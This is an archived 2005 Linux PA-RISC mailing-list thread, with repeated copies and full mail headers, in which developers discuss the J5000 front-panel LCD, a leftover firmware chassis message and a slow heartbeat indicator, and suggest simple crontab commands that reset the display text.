References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503192233.26991.dmp@davidmpye.dyndns.org>
	<20050319231911.GB21898@colo.lackof.org>
	<200503201918.31808.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623702 13068 80.91.229.3 (22 Nov 2014 02:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:02 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 20:03:26 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx069) with SMTP; 20 Mar 2005 21:03:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id E75192EB5F; Sun, 20 Mar 2005 14:03:22 -0600 (CST)
Old-Return-Path: <T-Bone@parisc-linux.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44])
	by murphy.debian.org (Postfix) with ESMTP id A8E202EAE4
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 13:40:44 -0600 (CST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-1.free.fr (Postfix) with ESMTP id C01E5173499;
	Sun, 20 Mar 2005 20:40:43 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 8F4F033E37; Sun, 20 Mar 2005 20:40:42 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 486D333C99;
	Sun, 20 Mar 2005 20:40:34 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DD6Hp-0004rO-00; Sun, 20 Mar 2005 20:40:33 +0100
In-Reply-To: <200503201918.31808.dmp@davidmpye.dyndns.org>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.8 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <oVGNq.A.joF.KcdPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4325
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 14:03:22 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: b7tWKhN2TlIv47eQeGhrSVVGU2poZVmN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22454

On Sun, 20 Mar 2005 19:18:29 +0000
David Pye <dmp@davidmpye.dyndns.org> wrote:

> On Saturday 19 March 2005 23:19, Grant Grundler wrote:
> > On Sat, Mar 19, 2005 at 10:33:24PM +0000, David Pye wrote:
> >
> > > Is it possible to make the write to the display later in the boot
> > > process, so it occurs after the INI CC01 is printed?
> >
> > I would think it's possible.
> > You want to track down where the CC01 chassis_log is emitted then
> > propose a better place to initialize LED display?
> 
> I think I have an idea that it's related to CPU1 init, but I haven't
> confirmed this yet - depending on your feedback to the idea below, I
> won't bother tracing it down.

Don't bother. I have that kind of message left on my j5k LCD has well,
that's been there for ages, without problem.

> > Another idea is the chassis log code might want to clear the LED
> > diplay when displaying a chassis log and then a few seconds later
> > refresh the LED display with the original contents or something.
> 
> At the very least, I think it needs to clear the lcd display before it
> sends the chassis code to the PDC.  How does this sound:

If you think about the firmware code that drives the display of chassis
messages, it's firmware, changing how it works is pretty much not
possible at that point. If you think about the PDC Chassis driver, that
code doesn't work (read, "isn't activated") on j5k and other System Map
firmware machines, it only works on PDC PAT machines (eg high end
servers).

> Clear the lcd
> Send the chassis code
> set up a timer for 15 seconds, say, to restore the original display text
> 
> This requires a couple of changes to led.c so firmware.c can tell
> whether the machine has an LCD or not. (If it does, then do the above,
> otherwise just send the chassis code as before.)

AFAIK, it's not possible for the led.c driver to figure out whether the
firmware has sent anything to the LCD display.

> If you agree that this is something useful, I will do some more hacking
> on it. Otherwise, I'll do the other option and arrange the the chassis
> log to be sent before the lcd has the initial text printed on it.

I don't think this is either useful nor desirable. We want to have the
firmware messages going over whatever the led/lcd driver would have shown,
and going into such a pain for a corner case doesn't really seem worth it.

> Another idea I had was this:
> 
> How about making the text scrollable? ie if the string is longer than
> the viewport, scroll it along at a reasonable rate.

That has been considered and eventually ruled out. Remember we're in
kernel context, this is not meant to be eye candy etc. The pretty
formatting you suggest should be eventually a userland task, certainly not
a supplementary burden for the kernel.

At some point we looked after writing a complete driver for the LCD
display, but it happens that it's much more complicated than first
expected. For instance, accessing the other row of the LCD is almost
impossible. In any case, it would probably consume resource for nothing
really worth it.

> I'm willing to have a play with this too, if people think it's something
> worth having.

IMHO it's not.

> Did you have any hints you could give me as to fix my very occasional 
> heartbeat issue either? 

I recall that the LCD heartbeat is quite slow on my j5k as well, but
nothing really awful, afaicr.

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 21:03:57 +0100
Organization: ESIEE
Lines: 97
Approved: news@gmane.org
Message-ID: <20050320210357.53534d01__49560.8000005179$1416623702$gmane$org@Tatooine.r3z0>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503201918.31808.dmp@davidmpye.dyndns.org>
	<20050320204032.3ed40468@Tatooine.r3z0>
	<200503201952.31465.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623702 13089 80.91.229.3 (22 Nov 2014 02:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 20:04:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 20 Mar 2005 21:04:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 936E17D682;
	Sun, 20 Mar 2005 13:05:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02962-01; Sun, 20 Mar 2005 13:05:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E6AB7D66F;
	Sun, 20 Mar 2005 13:05:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41A507D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 13:05:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02624-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 13:05:33 -0700 (MST)
Original-Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176])
	by free.linux.hp.com (Postfix) with ESMTP id 7CD8B7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 13:05:33 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix4-2.free.fr (Postfix) with ESMTP id 0AB882EC6C2;
	Sun, 20 Mar 2005 21:04:08 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 10C4033E37; Sun, 20 Mar 2005 21:04:06 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id AD3C433C99;
	Sun, 20 Mar 2005 21:03:59 +0100 (CET)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DD6eT-00054X-00; Sun, 20 Mar 2005 21:03:57 +0100
In-Reply-To: <200503201952.31465.dmp@davidmpye.dyndns.org>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on Tatooine.r3z0
X-Spam-Status: No, score=-52.8 required=5.0 tests=ALL_TRUSTED,LOCAL_RCVD 
	autolearn=failed version=3.0.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IrtWKj9nTlIv47eQeGhrSVVGU2poZZnl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22455

On Sun, 20 Mar 2005 19:52:29 +0000
David Pye <dmp@davidmpye.dyndns.org> wrote:

> Hi, and thanks for your reply.
> 
> On Sunday 20 March 2005 19:40, you wrote:
> 
> > > I think I have an idea that it's related to CPU1 init, but I haven't
> > > confirmed this yet - depending on your feedback to the idea below, I
> > > won't bother tracing it down.
> >
> > Don't bother. I have that kind of message left on my j5k LCD has well,
> > that's been there for ages, without problem.
> 
> Well, I'd like to see it gone myself, even though it doesn't do anything
> unpleasant. It is a little messy, at least having it mangled up with the
> Linux default text is.
> 
> If all it takes to prevent it is to make the lcd init happen slightly
> later in the boot process (ie after the chassis code was emitted), I'd
> have thought it would be an easy win.

it's not that simple.
If you want to have it gone, add 
@reboot echo "" > /proc/pdc/lcd
in your root crontab :)

> > If you think about the firmware code that drives the display of
> > chassis messages, it's firmware, changing how it works is pretty much
> > not possible at that point. If you think about the PDC Chassis driver,
> > that code doesn't work (read, "isn't activated") on j5k and other
> > System Map firmware machines, it only works on PDC PAT machines (eg
> > high end servers).
> 
> Yeah, true. So, if the PDC chassis driver isn't used on the j5k, how
> does the chassis message get sent from the kernel to the PDC?  I haven't
> worked that out yet.

That message is a *firmware* one. It is send by the machine itself, not
by anything in the kernel (at least, directly).
 
> > I don't think this is either useful nor desirable. We want to have the
> > firmware messages going over whatever the led/lcd driver would have
> > shown, and going into such a pain for a corner case doesn't really
> > seem worth it.
> 
> At the very least, clearing the display first before the message is
> shown would have been helpful, imho.  

As i told you, this is not possible. The firmware doesn't know there's
already something on the display. And you don't want to rewrite the PDC
firmware, do you? :)

> I'd personally like to have the firmware message displayed only for a
> limited time, though I can see a counter argument for this.  But not for
> having cleared the display first, though. (Whether this is possible
> depends on your answer as to how the PDC is told to display the
> message!)

This is certainly not a good idea, but if you want that, add the following
to your root crontab:

*/10 * * * * echo "" > /proc/pdc/lcd

This will redraw the original message every 10mn.

> > > Did you have any hints you could give me as to fix my very
> > > occasional heartbeat issue either?
> >
> > I recall that the LCD heartbeat is quite slow on my j5k as well, but
> > nothing really awful, afaicr.
> 
> Well, here it's sufficiently slow to be utterly useless as a heartbeat, 
> anyway. It usually flips state every 10-30 seconds, depending on how it 
> feels. It certainly doesn't boot.
> 
> I realise the LCD functionality is something fairly minor, and that I'm
> being picky, but I'd be happy to invest some time to do some fine
> tuning.  The only two must-haves for me is to nail the INI CC01 message
> being displayed over the Linux kernel version display, and preferably to
> make my heart beat too ;)

The LED/LCD driver uses tasklets, which are quite CPU expensive. I think
this is one of the reason the heartbeat is slow. Though 30s seems alot to
me either.

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 21:03:57 +0100
Organization: ESIEE
Lines: 98
Approved: news@gmane.org
Message-ID: <20050320210357.53534d01__45788.0010865212$1416623703$gmane$org@Tatooine.r3z0>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503201918.31808.dmp@davidmpye.dyndns.org>
	<20050320204032.3ed40468@Tatooine.r3z0>
	<200503201952.31465.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623703 13091 80.91.229.3 (22 Nov 2014 02:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:03 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 20:20:19 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx055) with SMTP; 20 Mar 2005 21:20:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 646D02E7B8; Sun, 20 Mar 2005 14:20:17 -0600 (CST)
Old-Return-Path: <T-Bone@parisc-linux.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176])
	by murphy.debian.org (Postfix) with ESMTP id D3B8F2DDA2
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 14:04:09 -0600 (CST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix4-2.free.fr (Postfix) with ESMTP id 0AB882EC6C2;
	Sun, 20 Mar 2005 21:04:08 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 10C4033E37; Sun, 20 Mar 2005 21:04:06 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id AD3C433C99;
	Sun, 20 Mar 2005 21:03:59 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DD6eT-00054X-00; Sun, 20 Mar 2005 21:03:57 +0100
In-Reply-To: <200503201952.31465.dmp@davidmpye.dyndns.org>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.6 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <4F1NGD.A.LRG.BsdPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4326
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 14:20:17 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: YrdWKq8pTlIv47eQeGhrSVVGU2poZVnO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22456

On Sun, 20 Mar 2005 19:52:29 +0000
David Pye <dmp@davidmpye.dyndns.org> wrote:

> Hi, and thanks for your reply.
> 
> On Sunday 20 March 2005 19:40, you wrote:
> 
> > > I think I have an idea that it's related to CPU1 init, but I haven't
> > > confirmed this yet - depending on your feedback to the idea below, I
> > > won't bother tracing it down.
> >
> > Don't bother. I have that kind of message left on my j5k LCD has well,
> > that's been there for ages, without problem.
> 
> Well, I'd like to see it gone myself, even though it doesn't do anything
> unpleasant. It is a little messy, at least having it mangled up with the
> Linux default text is.
> 
> If all it takes to prevent it is to make the lcd init happen slightly
> later in the boot process (ie after the chassis code was emitted), I'd
> have thought it would be an easy win.

it's not that simple.
If you want to have it gone, add 
@reboot echo "" > /proc/pdc/lcd
in your root crontab :)

> > If you think about the firmware code that drives the display of
> > chassis messages, it's firmware, changing how it works is pretty much
> > not possible at that point. If you think about the PDC Chassis driver,
> > that code doesn't work (read, "isn't activated") on j5k and other
> > System Map firmware machines, it only works on PDC PAT machines (eg
> > high end servers).
> 
> Yeah, true. So, if the PDC chassis driver isn't used on the j5k, how
> does the chassis message get sent from the kernel to the PDC?  I haven't
> worked that out yet.

That message is a *firmware* one. It is send by the machine itself, not
by anything in the kernel (at least, directly).
 
> > I don't think this is either useful nor desirable. We want to have the
> > firmware messages going over whatever the led/lcd driver would have
> > shown, and going into such a pain for a corner case doesn't really
> > seem worth it.
> 
> At the very least, clearing the display first before the message is
> shown would have been helpful, imho.  

As i told you, this is not possible. The firmware doesn't know there's
already something on the display. And you don't want to rewrite the PDC
firmware, do you? :)

> I'd personally like to have the firmware message displayed only for a
> limited time, though I can see a counter argument for this.  But not for
> having cleared the display first, though. (Whether this is possible
> depends on your answer as to how the PDC is told to display the
> message!)

This is certainly not a good idea, but if you want that, add the following
to your root crontab:

*/10 * * * * echo "" > /proc/pdc/lcd

This will redraw the original message every 10mn.

> > > Did you have any hints you could give me as to fix my very
> > > occasional heartbeat issue either?
> >
> > I recall that the LCD heartbeat is quite slow on my j5k as well, but
> > nothing really awful, afaicr.
> 
> Well, here it's sufficiently slow to be utterly useless as a heartbeat, 
> anyway. It usually flips state every 10-30 seconds, depending on how it 
> feels. It certainly doesn't boot.
> 
> I realise the LCD functionality is something fairly minor, and that I'm
> being picky, but I'd be happy to invest some time to do some fine
> tuning.  The only two must-haves for me is to nail the INI CC01 message
> being displayed over the Linux kernel version display, and preferably to
> make my heart beat too ;)

The LED/LCD driver uses tasklets, which are quite CPU expensive. I think
this is one of the reason the heartbeat is slow. Though 30s seems alot to
me either.

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 20:40:32 +0100
Organization: ESIEE
Lines: 91
Approved: news@gmane.org
Message-ID: <20050320204032.3ed40468__7175.32813218913$1416623703$gmane$org@Tatooine.r3z0>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<200503192233.26991.dmp@davidmpye.dyndns.org>
	<20050319231911.GB21898@colo.lackof.org>
	<200503201918.31808.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623703 13093 80.91.229.3 (22 Nov 2014 02:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 19:40:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 20 Mar 2005 20:40:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E3677D662;
	Sun, 20 Mar 2005 12:42:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02349-06; Sun, 20 Mar 2005 12:42:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84E0D7D667;
	Sun, 20 Mar 2005 12:42:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EA6D7D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:42:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02349-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:42:08 -0700 (MST)
Original-Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44])
	by free.linux.hp.com (Postfix) with ESMTP id 57B7A7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 12:42:08 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-1.free.fr (Postfix) with ESMTP id C01E5173499;
	Sun, 20 Mar 2005 20:40:43 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 8F4F033E37; Sun, 20 Mar 2005 20:40:42 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 486D333C99;
	Sun, 20 Mar 2005 20:40:34 +0100 (CET)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DD6Hp-0004rO-00; Sun, 20 Mar 2005 20:40:33 +0100
In-Reply-To: <200503201918.31808.dmp@davidmpye.dyndns.org>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on Tatooine.r3z0
X-Spam-Status: No, score=-52.8 required=5.0 tests=ALL_TRUSTED,LOCAL_RCVD 
	autolearn=failed version=3.0.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rb1WKj1ATlIv47eQeGhrSVVGU2poZdmP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22457

On Sun, 20 Mar 2005 19:18:29 +0000
David Pye <dmp@davidmpye.dyndns.org> wrote:

> On Saturday 19 March 2005 23:19, Grant Grundler wrote:
> > On Sat, Mar 19, 2005 at 10:33:24PM +0000, David Pye wrote:
> >
> > > Is it possible to make the write to the display later in the boot
> > > process, so it occurs after the INI CC01 is printed?
> >
> > I would think it's possible.
> > You want to track down where the CC01 chassis_log is emitted then
> > propose a better place to initialize LED display?
> 
> I think I have an idea that it's related to CPU1 init, but I haven't
> confirmed this yet - depending on your feedback to the idea below, I
> won't bother tracing it down.

Don't bother. I have that kind of message left on my j5k LCD has well,
that's been there for ages, without problem.

> > Another idea is the chassis log code might want to clear the LED
> > diplay when displaying a chassis log and then a few seconds later
> > refresh the LED display with the original contents or something.
> 
> At the very least, I think it needs to clear the lcd display before it
> sends the chassis code to the PDC.  How does this sound:

If you think about the firmware code that drives the display of chassis
messages, it's firmware, changing how it works is pretty much not
possible at that point. If you think about the PDC Chassis driver, that
code doesn't work (read, "isn't activated") on j5k and other System Map
firmware machines, it only works on PDC PAT machines (eg high end
servers).

> Clear the lcd
> Send the chassis code
